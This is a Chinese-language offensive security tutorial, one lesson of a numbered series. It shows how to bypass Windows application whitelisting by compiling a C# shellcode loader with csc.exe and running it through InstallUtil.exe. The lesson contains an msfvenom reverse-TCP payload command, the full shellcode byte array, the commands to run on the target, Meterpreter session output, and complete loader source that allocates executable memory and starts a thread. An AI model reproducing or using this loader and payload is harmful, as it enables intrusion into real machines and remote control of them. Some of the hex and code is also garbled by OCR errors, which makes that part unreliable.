专注APT攻击与防御

https://micropoor.blogspot.com/

注:请多喝点热水或者凉白开,身体特别重要。

Csc.exe简介:

C#的在Windows平台下的编译器名称是Csc.exe , 如果你的.NET FrameWork SDK安装在C盘 , 那么你可以在C:\WINNT\Microsoft.NET\Framework\xxxxx目录中发现它。为了使用方便 , 你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单 , 打开命令提示符 , 并切换到存放 test.cs文件的目录中 , 输入下列行命令:csc /target:exe test.cs 将Ttest.cs编译成名为test.exe的console应用程序

说明: Csc.exe所在路径没有被系统添加PATH环境变量中,因此,csc命令无法识别。

基于白名单Csc.exe配置payload:

Windows 7 默认位置:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

攻击机: 192.168.1.4 Debian

靶机: 192.168.1.5 Windows 7

配置攻击机msf:

配置payload:

```
1 msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 -
f csharp
```

```
# msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53
 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of csharp file: 2615 bytes
byte[] buf = new byte[510] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
0x4l,0x56,0x49,0x89,0xe6,0x48,0x8l,0xec,0xa0,0x0l,0x00,0x00,0x49,0x89,0xe5,
0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,0xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xd3,0x49,0x69,0x41,0xba,0x02,0xd9,0x68,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
```

copy buf 到 Micropoor_Csc.cs shellcode中。

```
byte[] shellcode = new byte[510] {
                Oxfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xc2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
0xc9,0xdd,0x41,0xd1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,0xe4,
```

靶机执行:

```
1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micropoor.exe /platform:x64 /unsafe C:\Users\John\Desktop\Micropoor_Csc.cs
```

1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfi
le= /LogToConsole=false /U C:\Users\John\Desktop\Micropoor.exe

```
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (206403 bytes) to 192.168.1.5
[*] Meterpreter session 6 opened (192.168.1.4:53 -> 192.168.1.5:30431) at 2019-01-17 04:19:35

meterpreter > getuid
Server username: John-PC\John
meterpreter > getpid
Current pid: 8504
meterpreter > [

C:\Vindows\Dicrosoft.MET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogI... _____

C:\Users\John\Desktop>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil
l.exe /logfile= /LogTConsole=false /U C:\Users\John\Desktop\Micropoor.exe
Microsoft (R) .NET Framework 安装实用工具版本 4.7.3062.0
版权所有 (C) Microsoft Corporation。保留所有权利。
```

与第七十二课相比, payload更为灵活。

附录: Micropoor_Csc.cs

```
1 using System;
2 using System.Net;
3 using System.Diagnostics;
4 using System.Reflection;
5 using System.Configuration.Install;
6 using System.Runtime.InteropServices;
7
9 // msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=5
3 -f csharp
11
    public class Program
    public static void Main()
14
    {
15
    }
16
```

```
17
18
    }
19
    [System.ComponentModel.RunInstaller(true)]
20
    public class Sample : System.Configuration.Install.Installer
21
22
23
    public override void Uninstall(System.Collections.IDictionary savedSt
24
ate)
25
    {
26
    Shellcode.Exec();
27
28
29
    }
30
    }
31
32
33
    public class Shellcode
34
    public static void Exec()
35
36
    {
37
    byte[] shellcode = new byte[510] {
38
39
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x
2,
40 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,
x48,
41 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,
xc9,
42 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
x41,
43 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,
x48,
44 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,
x8b,
45 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,
x8b,
46 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,
x41,
47 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
xc1,
48 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,
x45,
```

```
49 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,
x8b,
50 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,
x01,
51 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,
x48,
52 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,
xe9,
53 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,
x00,
54 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,
55 0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,
xe4,
56 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,
x68,
57 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,
58 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,
x89,
59 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,
xd5,
60 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,
xba,
61 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,
xe5,
62 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,
xc9,
63 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,
xd5,
64 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,
x41,
65 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,
x41,
66 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,
x31,
67 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,
xc8,
68 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,
x40,
69 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,
xd5,
70 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,
x3c,
71 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,
x41,
```

```
72 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,
xd5 };
73
74
    UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
76
77
    Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
78
    IntPtr hThread = IntPtr.Zero;
    UInt32 threadId = 0;
79
80
81
82
    IntPtr pinfo = IntPtr.Zero;
83
84
85
86
    hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
87
    WaitForSingleObject(hThread, 0xFFFFFFFF);
88
89
90
    }
91
    private static UInt32 MEM_COMMIT = 0x1000;
92
93
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
94
95
    [DllImport("kernel32")]
96
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
97
98
    UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
99
    [DllImport("kernel32")]
100
     private static extern bool VirtualFree(IntPtr lpAddress,
101
     UInt32 dwSize, UInt32 dwFreeType);
102
103
    [DllImport("kernel32")]
104
     private static extern IntPtr CreateThread(
106
     UInt32 lpThreadAttributes,
107
     UInt32 dwStackSize,
108
    UInt32 lpStartAddress,
109
110
    IntPtr param,
    UInt32 dwCreationFlags,
111
    ref UInt32 lpThreadId
112
```

```
113
    );
114
    [DllImport("kernel32")]
115
116
    private static extern bool CloseHandle(IntPtr handle);
117
118
    [DllImport("kernel32")]
119
    private static extern UInt32 WaitForSingleObject(
120
    IntPtr hHandle,
121
122
    UInt32 dwMilliseconds
123
    );
    [DllImport("kernel32")]
124
    private static extern IntPtr GetModuleHandle(
125
126
    string moduleName
127
128
    );
129
    [DllImport("kernel32")]
130
131
    private static extern UInt32 GetProcAddress(
132
    IntPtr hModule,
133
    string procName
134
135
    );
136
    [DllImport("kernel32")]
137
    private static extern UInt32 LoadLibrary(
138
139
    string lpFileName
140
141
    );
142
    [DllImport("kernel32")]
143
    private static extern UInt32 GetLastError();
144
145
146
147
    }
```